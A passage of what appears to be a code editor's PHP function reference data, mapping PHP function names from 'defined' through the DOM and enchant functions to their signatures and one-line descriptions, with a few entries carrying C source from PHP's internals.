syslog-related variables\"],defined:[\"bool defined(string constant_name)\",\"Check whether a constant exists\"],deg2rad:[\"float deg2rad(float number)\",\"Converts the number in degrees to the radian equivalent\"],dgettext:[\"string dgettext(string domain_name, string msgid)\",\"Return the translation of msgid for domain_name, or msgid unaltered if a translation does not exist\"],die:[\"void die([mixed status])\",\"Output a message and terminate the current script\"],dir:[\"object dir(string directory[, resource context])\",\"Directory class with properties, handle and class and methods read, rewind and close\"],dirname:[\"string dirname(string path)\",\"Returns the directory name component of the path\"],disk_free_space:[\"float disk_free_space(string path)\",\"Get free disk space for filesystem that path is on\"],disk_total_space:[\"float disk_total_space(string path)\",\"Get total disk space for filesystem that path is on\"],display_disabled_function:[\"void display_disabled_function(void)\",\"Dummy function which displays an error when a disabled function is called.\"],dl:[\"int dl(string extension_filename)\",\"Load a PHP extension at runtime\"],dngettext:[\"string dngettext (string domain, string msgid1, string msgid2, int count)\",\"Plural version of dgettext()\"],dns_check_record:[\"bool dns_check_record(string host [, string type])\",\"Check DNS records corresponding to a given Internet host name or IP address\"],dns_get_mx:[\"bool dns_get_mx(string hostname, array mxhosts [, array weight])\",\"Get MX records corresponding to a given Internet host name\"],dns_get_record:[\"array|false dns_get_record(string hostname [, int type[, array authns, array addtl]])\",\"Get any Resource Record corresponding to a given Internet host name\"],dom_attr_is_id:[\"boolean dom_attr_is_id();\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Attr-isId Since: DOM Level 3\"],dom_characterdata_append_data:[\"void dom_characterdata_append_data(string arg);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-32791A2F Since:\"],dom_characterdata_delete_data:[\"void dom_characterdata_delete_data(int offset, int count);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-7C603781 Since:\"],dom_characterdata_insert_data:[\"void dom_characterdata_insert_data(int offset, string arg);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-3EDB695F Since:\"],dom_characterdata_replace_data:[\"void dom_characterdata_replace_data(int offset, int count, string arg);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-E5CBA7FB Since:\"],dom_characterdata_substring_data:[\"string dom_characterdata_substring_data(int offset, int count);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-6531BCCF Since:\"],dom_document_adopt_node:[\"DOMNode dom_document_adopt_node(DOMNode source);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Document3-adoptNode Since: DOM Level 3\"],dom_document_create_attribute:[\"DOMAttr dom_document_create_attribute(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1084891198 Since:\"],dom_document_create_attribute_ns:[\"DOMAttr dom_document_create_attribute_ns(string namespaceURI, string qualifiedName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-DocCrAttrNS Since: DOM Level 2\"],dom_document_create_cdatasection:[\"DOMCdataSection dom_document_create_cdatasection(string data);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-D26C0AF8 Since:\"],dom_document_create_comment:[\"DOMComment dom_document_create_comment(string data);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1334481328 Since:\"],dom_document_create_document_fragment:[\"DOMDocumentFragment dom_document_create_document_fragment();\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-35CB04B5 Since:\"],dom_document_create_element:[\"DOMElement dom_document_create_element(string tagName [, string value]);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-2141741547 Since:\"],dom_document_create_element_ns:[\"DOMElement dom_document_create_element_ns(string namespaceURI, string qualifiedName [,string value]);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-DocCrElNS Since: DOM Level 2\"],dom_document_create_entity_reference:[\"DOMEntityReference dom_document_create_entity_reference(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-392B75AE Since:\"],dom_document_create_processing_instruction:[\"DOMProcessingInstruction dom_document_create_processing_instruction(string target, string data);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-135944439 Since:\"],dom_document_create_text_node:[\"DOMText dom_document_create_text_node(string data);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1975348127 Since:\"],dom_document_get_element_by_id:[\"DOMElement dom_document_get_element_by_id(string elementId);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-getElBId Since: DOM Level 2\"],dom_document_get_elements_by_tag_name:[\"DOMNodeList dom_document_get_elements_by_tag_name(string tagname);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-A6C9094 Since:\"],dom_document_get_elements_by_tag_name_ns:[\"DOMNodeList dom_document_get_elements_by_tag_name_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-getElBTNNS Since: DOM Level 2\"],dom_document_import_node:[\"DOMNode dom_document_import_node(DOMNode importedNode, boolean deep);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Core-Document-importNode Since: DOM Level 2\"],dom_document_load:[\"DOMNode dom_document_load(string source [, int options]);\",\"URL: http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS-load Since: DOM Level 3\"],dom_document_load_html:[\"DOMNode dom_document_load_html(string source);\",\"Since: DOM extended\"],dom_document_load_html_file:[\"DOMNode dom_document_load_html_file(string source);\",\"Since: DOM extended\"],dom_document_loadxml:[\"DOMNode dom_document_loadxml(string source [, int options]);\",\"URL: http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS-loadXML Since: DOM Level 3\"],dom_document_normalize_document:[\"void dom_document_normalize_document();\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Document3-normalizeDocument Since: DOM Level 3\"],dom_document_relaxNG_validate_file:[\"boolean dom_document_relaxNG_validate_file(string filename); */\",\"PHP_FUNCTION(dom_document_relaxNG_validate_file) {  _dom_document_relaxNG_validate(INTERNAL_FUNCTION_PARAM_PASSTHRU, DOM_LOAD_FILE); } /* }}} end dom_document_relaxNG_validate_file\"],dom_document_relaxNG_validate_xml:[\"boolean dom_document_relaxNG_validate_xml(string source); */\",\"PHP_FUNCTION(dom_document_relaxNG_validate_xml) {  _dom_document_relaxNG_validate(INTERNAL_FUNCTION_PARAM_PASSTHRU, DOM_LOAD_STRING); } /* }}} end dom_document_relaxNG_validate_xml\"],dom_document_rename_node:[\"DOMNode dom_document_rename_node(node n, string namespaceURI, string qualifiedName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Document3-renameNode Since: DOM Level 3\"],dom_document_save:[\"int dom_document_save(string file);\",\"Convenience method to save to file\"],dom_document_save_html:[\"string dom_document_save_html();\",\"Convenience method to output as html\"],dom_document_save_html_file:[\"int dom_document_save_html_file(string file);\",\"Convenience method to save to file as html\"],dom_document_savexml:[\"string dom_document_savexml([node n]);\",\"URL: http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS-saveXML Since: DOM Level 3\"],dom_document_schema_validate:[\"boolean dom_document_schema_validate(string source); */\",\"PHP_FUNCTION(dom_document_schema_validate_xml) {  _dom_document_schema_validate(INTERNAL_FUNCTION_PARAM_PASSTHRU, DOM_LOAD_STRING); } /* }}} end dom_document_schema_validate\"],dom_document_schema_validate_file:[\"boolean dom_document_schema_validate_file(string filename); */\",\"PHP_FUNCTION(dom_document_schema_validate_file) {  _dom_document_schema_validate(INTERNAL_FUNCTION_PARAM_PASSTHRU, DOM_LOAD_FILE); } /* }}} end dom_document_schema_validate_file\"],dom_document_validate:[\"boolean dom_document_validate();\",\"Since: DOM extended\"],dom_document_xinclude:[\"int dom_document_xinclude([int options])\",\"Substitutues xincludes in a DomDocument\"],dom_domconfiguration_can_set_parameter:[\"boolean dom_domconfiguration_can_set_parameter(string name, domuserdata value);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#DOMConfiguration-canSetParameter Since:\"],dom_domconfiguration_get_parameter:[\"domdomuserdata dom_domconfiguration_get_parameter(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#DOMConfiguration-getParameter Since:\"],dom_domconfiguration_set_parameter:[\"dom_void dom_domconfiguration_set_parameter(string name, domuserdata value);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#DOMConfiguration-property Since:\"],dom_domerrorhandler_handle_error:[\"dom_boolean dom_domerrorhandler_handle_error(domerror error);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-ERRORS-DOMErrorHandler-handleError Since:\"],dom_domimplementation_create_document:[\"DOMDocument dom_domimplementation_create_document(string namespaceURI, string qualifiedName, DOMDocumentType doctype);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Level-2-Core-DOM-createDocument Since: DOM Level 2\"],dom_domimplementation_create_document_type:[\"DOMDocumentType dom_domimplementation_create_document_type(string qualifiedName, string publicId, string systemId);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Level-2-Core-DOM-createDocType Since: DOM Level 2\"],dom_domimplementation_get_feature:[\"DOMNode dom_domimplementation_get_feature(string feature, string version);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#DOMImplementation3-getFeature Since: DOM Level 3\"],dom_domimplementation_has_feature:[\"boolean dom_domimplementation_has_feature(string feature, string version);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-5CED94D7 Since:\"],dom_domimplementationlist_item:[\"domdomimplementation dom_domimplementationlist_item(int index);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#DOMImplementationList-item Since:\"],dom_domimplementationsource_get_domimplementation:[\"domdomimplementation dom_domimplementationsource_get_domimplementation(string features);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-getDOMImpl Since:\"],dom_domimplementationsource_get_domimplementations:[\"domimplementationlist dom_domimplementationsource_get_domimplementations(string features);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-getDOMImpls Since:\"],dom_domstringlist_item:[\"domstring dom_domstringlist_item(int index);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#DOMStringList-item Since:\"],dom_element_get_attribute:[\"string dom_element_get_attribute(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-666EE0F9 Since:\"],dom_element_get_attribute_node:[\"DOMAttr dom_element_get_attribute_node(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-217A91B8 Since:\"],dom_element_get_attribute_node_ns:[\"DOMAttr dom_element_get_attribute_node_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElGetAtNodeNS Since: DOM Level 2\"],dom_element_get_attribute_ns:[\"string dom_element_get_attribute_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElGetAttrNS Since: DOM Level 2\"],dom_element_get_elements_by_tag_name:[\"DOMNodeList dom_element_get_elements_by_tag_name(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1938918D Since:\"],dom_element_get_elements_by_tag_name_ns:[\"DOMNodeList dom_element_get_elements_by_tag_name_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-A6C90942 Since: DOM Level 2\"],dom_element_has_attribute:[\"boolean dom_element_has_attribute(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElHasAttr Since: DOM Level 2\"],dom_element_has_attribute_ns:[\"boolean dom_element_has_attribute_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElHasAttrNS Since: DOM Level 2\"],dom_element_remove_attribute:[\"void dom_element_remove_attribute(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-6D6AC0F9 Since:\"],dom_element_remove_attribute_node:[\"DOMAttr dom_element_remove_attribute_node(DOMAttr oldAttr);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-D589198 Since:\"],dom_element_remove_attribute_ns:[\"void dom_element_remove_attribute_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElRemAtNS Since: DOM Level 2\"],dom_element_set_attribute:[\"void dom_element_set_attribute(string name, string value);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-F68F082 Since:\"],dom_element_set_attribute_node:[\"DOMAttr dom_element_set_attribute_node(DOMAttr newAttr);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-887236154 Since:\"],dom_element_set_attribute_node_ns:[\"DOMAttr dom_element_set_attribute_node_ns(DOMAttr newAttr);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElSetAtNodeNS Since: DOM Level 2\"],dom_element_set_attribute_ns:[\"void dom_element_set_attribute_ns(string namespaceURI, string qualifiedName, string value);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElSetAttrNS Since: DOM Level 2\"],dom_element_set_id_attribute:[\"void dom_element_set_id_attribute(string name, boolean isId);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElSetIdAttr Since: DOM Level 3\"],dom_element_set_id_attribute_node:[\"void dom_element_set_id_attribute_node(attr idAttr, boolean isId);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElSetIdAttrNode Since: DOM Level 3\"],dom_element_set_id_attribute_ns:[\"void dom_element_set_id_attribute_ns(string namespaceURI, string localName, boolean isId);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-ElSetIdAttrNS Since: DOM Level 3\"],dom_import_simplexml:[\"somNode dom_import_simplexml(sxeobject node)\",\"Get a simplexml_element object from dom to allow for processing\"],dom_namednodemap_get_named_item:[\"DOMNode dom_namednodemap_get_named_item(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1074577549 Since:\"],dom_namednodemap_get_named_item_ns:[\"DOMNode dom_namednodemap_get_named_item_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-getNamedItemNS Since: DOM Level 2\"],dom_namednodemap_item:[\"DOMNode dom_namednodemap_item(int index);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-349467F9 Since:\"],dom_namednodemap_remove_named_item:[\"DOMNode dom_namednodemap_remove_named_item(string name);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-D58B193 Since:\"],dom_namednodemap_remove_named_item_ns:[\"DOMNode dom_namednodemap_remove_named_item_ns(string namespaceURI, string localName);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-removeNamedItemNS Since: DOM Level 2\"],dom_namednodemap_set_named_item:[\"DOMNode dom_namednodemap_set_named_item(DOMNode arg);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1025163788 Since:\"],dom_namednodemap_set_named_item_ns:[\"DOMNode dom_namednodemap_set_named_item_ns(DOMNode arg);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-setNamedItemNS Since: DOM Level 2\"],dom_namelist_get_name:[\"string dom_namelist_get_name(int index);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#NameList-getName Since:\"],dom_namelist_get_namespace_uri:[\"string dom_namelist_get_namespace_uri(int index);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#NameList-getNamespaceURI Since:\"],dom_node_append_child:[\"DomNode dom_node_append_child(DomNode newChild);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-184E7107 Since:\"],dom_node_clone_node:[\"DomNode dom_node_clone_node(boolean deep);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-3A0ED0A4 Since:\"],dom_node_compare_document_position:[\"short dom_node_compare_document_position(DomNode other);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-compareDocumentPosition Since: DOM Level 3\"],dom_node_get_feature:[\"DomNode dom_node_get_feature(string feature, string version);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-getFeature Since: DOM Level 3\"],dom_node_get_user_data:[\"mixed dom_node_get_user_data(string key);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-getUserData Since: DOM Level 3\"],dom_node_has_attributes:[\"boolean dom_node_has_attributes();\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-NodeHasAttrs Since: DOM Level 2\"],dom_node_has_child_nodes:[\"boolean dom_node_has_child_nodes();\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-810594187 Since:\"],dom_node_insert_before:[\"domnode dom_node_insert_before(DomNode newChild, DomNode refChild);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-952280727 Since:\"],dom_node_is_default_namespace:[\"boolean dom_node_is_default_namespace(string namespaceURI);\",\"URL: http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-isDefaultNamespace Since: DOM Level 3\"],dom_node_is_equal_node:[\"boolean dom_node_is_equal_node(DomNode arg);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-isEqualNode Since: DOM Level 3\"],dom_node_is_same_node:[\"boolean dom_node_is_same_node(DomNode other);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-isSameNode Since: DOM Level 3\"],dom_node_is_supported:[\"boolean dom_node_is_supported(string feature, string version);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Level-2-Core-Node-supports Since: DOM Level 2\"],dom_node_lookup_namespace_uri:[\"string dom_node_lookup_namespace_uri(string prefix);\",\"URL: http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespaceURI Since: DOM Level 3\"],dom_node_lookup_prefix:[\"string dom_node_lookup_prefix(string namespaceURI);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-lookupNamespacePrefix Since: DOM Level 3\"],dom_node_normalize:[\"void dom_node_normalize();\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-normalize Since:\"],dom_node_remove_child:[\"DomNode dom_node_remove_child(DomNode oldChild);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1734834066 Since:\"],dom_node_replace_child:[\"DomNode dom_node_replace_child(DomNode newChild, DomNode oldChild);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-785887307 Since:\"],dom_node_set_user_data:[\"mixed dom_node_set_user_data(string key, mixed data, userdatahandler handler);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-setUserData Since: DOM Level 3\"],dom_nodelist_item:[\"DOMNode dom_nodelist_item(int index);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-844377136 Since:\"],dom_string_extend_find_offset16:[\"int dom_string_extend_find_offset16(int offset32);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#i18n-methods-StringExtend-findOffset16 Since:\"],dom_string_extend_find_offset32:[\"int dom_string_extend_find_offset32(int offset16);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#i18n-methods-StringExtend-findOffset32 Since:\"],dom_text_is_whitespace_in_element_content:[\"boolean dom_text_is_whitespace_in_element_content();\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Text3-isWhitespaceInElementContent Since: DOM Level 3\"],dom_text_replace_whole_text:[\"DOMText dom_text_replace_whole_text(string content);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Text3-replaceWholeText Since: DOM Level 3\"],dom_text_split_text:[\"DOMText dom_text_split_text(int offset);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-38853C1D Since:\"],dom_userdatahandler_handle:[\"dom_void dom_userdatahandler_handle(short operation, string key, domobject data, node src, node dst);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-handleUserDataEvent Since:\"],dom_xpath_evaluate:[\"mixed dom_xpath_evaluate(string expr [,DOMNode context]); */\",\"PHP_FUNCTION(dom_xpath_evaluate) {  php_xpath_eval(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_DOM_XPATH_EVALUATE); } /* }}} end dom_xpath_evaluate\"],dom_xpath_query:[\"DOMNodeList dom_xpath_query(string expr [,DOMNode context]); */\",\"PHP_FUNCTION(dom_xpath_query) {  php_xpath_eval(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_DOM_XPATH_QUERY); } /* }}} end dom_xpath_query\"],dom_xpath_register_ns:[\"boolean dom_xpath_register_ns(string prefix, string uri); */\",'PHP_FUNCTION(dom_xpath_register_ns) {  zval *id;  xmlXPathContextPtr ctxp;  int prefix_len, ns_uri_len;  dom_xpath_object *intern;  unsigned char *prefix, *ns_uri;   if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), \"Oss\", &id, dom_xpath_class_entry, &prefix, &prefix_len, &ns_uri, &ns_uri_len) == FAILURE) {   return;  }   intern = (dom_xpath_object *)zend_object_store_get_object(id TSRMLS_CC);   ctxp = (xmlXPathContextPtr) intern->ptr;  if (ctxp == NULL) {   php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Invalid XPath Context\");   RETURN_FALSE;  }   if (xmlXPathRegisterNs(ctxp, prefix, ns_uri) != 0) {   RETURN_FALSE  }  RETURN_TRUE; } /* }}}'],dom_xpath_register_php_functions:[\"void dom_xpath_register_php_functions() */\",'PHP_FUNCTION(dom_xpath_register_php_functions) {  zval *id;  dom_xpath_object *intern;  zval *array_value, **entry, *new_string;  int  name_len = 0;  char *name;   DOM_GET_THIS(id);    if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, ZEND_NUM_ARGS() TSRMLS_CC, \"a\",  &array_value) == SUCCESS) {   intern = (dom_xpath_object *)zend_object_store_get_object(id TSRMLS_CC);   zend_hash_internal_pointer_reset(Z_ARRVAL_P(array_value));    while (zend_hash_get_current_data(Z_ARRVAL_P(array_value), (void **)&entry) == SUCCESS) {    SEPARATE_ZVAL(entry);    convert_to_string_ex(entry);     MAKE_STD_ZVAL(new_string);    ZVAL_LONG(new_string,1);       zend_hash_update(intern->registered_phpfunctions, Z_STRVAL_PP(entry), Z_STRLEN_PP(entry) + 1, &new_string, sizeof(zval*), NULL);    zend_hash_move_forward(Z_ARRVAL_P(array_value));   }   intern->registerPhpFunctions = 2;   RETURN_TRUE;   } else if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, ZEND_NUM_ARGS() TSRMLS_CC, \"s\",  &name, &name_len) == SUCCESS) {   intern = (dom_xpath_object *)zend_object_store_get_object(id TSRMLS_CC);      MAKE_STD_ZVAL(new_string);   ZVAL_LONG(new_string,1);   zend_hash_update(intern->registered_phpfunctions, name, name_len + 1, &new_string, sizeof(zval*), NULL);   intern->registerPhpFunctions = 2;     } else {   intern = (dom_xpath_object *)zend_object_store_get_object(id TSRMLS_CC);   intern->registerPhpFunctions = 1;  }   } /* }}} end dom_xpath_register_php_functions'],each:[\"array each(array arr)\",\"Return the currently pointed key..value pair in the passed array, and advance the pointer to the next element\"],easter_date:[\"int easter_date([int year])\",\"Return the timestamp of midnight on Easter of a given year (defaults to current year)\"],easter_days:[\"int easter_days([int year, [int method]])\",\"Return the number of days after March 21 that Easter falls on for a given year (defaults to current year)\"],echo:[\"void echo(string arg1 [, string ...])\",\"Output one or more strings\"],empty:[\"bool empty( mixed var )\",\"Determine whether a variable is empty\"],enchant_broker_describe:[\"array enchant_broker_describe(resource broker)\",\"Enumerates the Enchant providers and tells you some rudimentary information about them. The same info is provided through phpinfo()\"],enchant_broker_dict_exists:[\"bool enchant_broker_dict_exists(resource broker, string tag)\",\"Wether a dictionary exists or not. Using non-empty tag\"],enchant_broker_free:[\"boolean enchant_broker_free(resource broker)\",\"Destroys the broker object and its dictionnaries\"],enchant_broker_free_dict:[\"resource enchant_broker_free_dict(resource dict)\",\"Free the dictionary resource\"],enchant_broker_get_dict_path:[\"string enchant_broker_get_dict_path(resource broker, int dict_type)\",\"Get the directory path for a given backend, works with ispell and myspell\"],enchant_broker_get_error:[\"string enchant_broker_get_error(resource broker)\",\"Returns the last error of the broker\"],enchant_broker_init:[\"resource enchant_broker_init()\",\"create a new broker object capable of requesting\"],enchant_broker_list_dicts:[\"string enchant_broker_list_dicts(resource broker)\",\"Lists the dictionaries available for the given broker\"],enchant_broker_request_dict:[\"resource enchant_broker_request_dict(resource broker, string tag)\",'create a new dictionary using tag, the non-empty language tag you wish to request  a dictionary for (\"en_US\", \"de_DE\", ...)'],enchant_broker_request_pwl_dict:[\"resource enchant_broker_request_pwl_dict(resource broker, string filename)\",\"creates a dictionary using a PWL file. A PWL file is personal word file one word per line. It must exist before the call.\"],enchant_broker_set_dict_path:[\"bool enchant_broker_set_dict_path(resource broker, int dict_type, string value)\",\"Set the directory path for a given backend, works with ispell and myspell\"],enchant_broker_set_ordering:[\"bool enchant_broker_set_ordering(resource broker, string tag, string ordering)\",\"Declares a preference of dictionaries to use for the language  described/referred to by 'tag'. The ordering is a comma delimited  list of provider names. As a special exception, the \\\"*\\\" tag can  be used as a language tag to declare a default ordering for any  language that does not explictly declare an ordering.\"],enchant_dict_add_to_personal:[\"void enchant_dict_add_to_personal(resource dict, string word)\",\"add 'word' to personal word list\"],enchant_dict_add_to_session:[\"void enchant_dict_add_to_session(resource dict, string word)\",\"add 'word' to this spell-checking session\"],enchant_dict_check:[\"bool enchant_dict_check(resource dict, string word)\",\"If the word is correctly spelled return true, otherwise return false\"],enchant_dict_describe:[\"array enchant_dict_describe(resource dict)\",\"Describes an individual dictionary 'dict'\"],enchant_dict_get_error:[\"string enchant_dict_get_error(resource dict)\",\"Returns the last error of the current spelling-session\"],enchant_dict_is_in_session:[\"bool enchant_dict_is_in_session(resource dict, string word)\",\"whether or not 'word' exists in this spelling-session\"],enchant_dict_quick_check:[\"bool enchant_dict_quick_check(resource dict, string word [, array &suggestions])\",\"If the word is correctly spelled return true, otherwise return false, if suggestions variable     is provided, fill it with spelling alternatives.\"],enchant_dict_store_replacement:[\"void enchant_dict_store_replacement(resource dict, string mis, string cor)\",\"add a correction for 'mis' using 'cor'.  Notes that you replaced @mis with @cor, so it's possibly more likely  that future occurrences of @mis will be replaced with @cor. So it might  bump @cor up in the suggestion list.\"],enchant_dict_suggest:[\"array enchant_dict_suggest(resource dict, string word)\",\"Will return a list of values if any of those pre-conditions are not 